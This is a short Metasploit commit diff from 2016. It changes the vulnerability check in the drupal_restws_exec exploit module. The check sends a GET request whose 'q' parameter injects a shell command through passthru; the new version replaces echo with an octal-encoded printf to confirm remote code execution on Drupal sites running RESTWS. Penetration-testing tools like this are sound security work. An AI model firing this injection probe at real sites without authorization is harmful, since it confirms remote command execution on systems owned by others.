Land rapid7#7113, check fix for drupal_restws_exec

wvu · wvu · commit ec63f8feaf3b · 2016-07-21T14:48:58.000-05:00
diff --git a/modules/exploits/unix/webapp/drupal_restws_exec.rb b/modules/exploits/unix/webapp/drupal_restws_exec.rb
@@ -59,7 +59,7 @@ def check
       'method' => 'GET',
       'uri' => normalize_uri(target_uri.path, 'index.php'),
       'vars_get' => {
-        'q' => "taxonomy_vocabulary//passthru/echo #{r}"
+        'q' => "taxonomy_vocabulary//passthru/printf '#{Rex::Text.to_octal(r)}'"
       }
     )
     if res && res.body.include?(r)

Original file line number	Diff line number	Diff line change
`@@ -59,7 +59,7 @@ def check`
`59`	`59`	`'method' => 'GET',`
`60`	`60`	`'uri' => normalize_uri(target_uri.path, 'index.php'),`
`61`	`61`	`'vars_get' => {`
`62`		`- 'q' => "taxonomy_vocabulary//passthru/echo #{r}"`
	`62`	`+ 'q' => "taxonomy_vocabulary//passthru/printf '#{Rex::Text.to_octal(r)}'"`
`63`	`63`	`}`
`64`	`64`	`)`
`65`	`65`	`if res && res.body.include?(r)`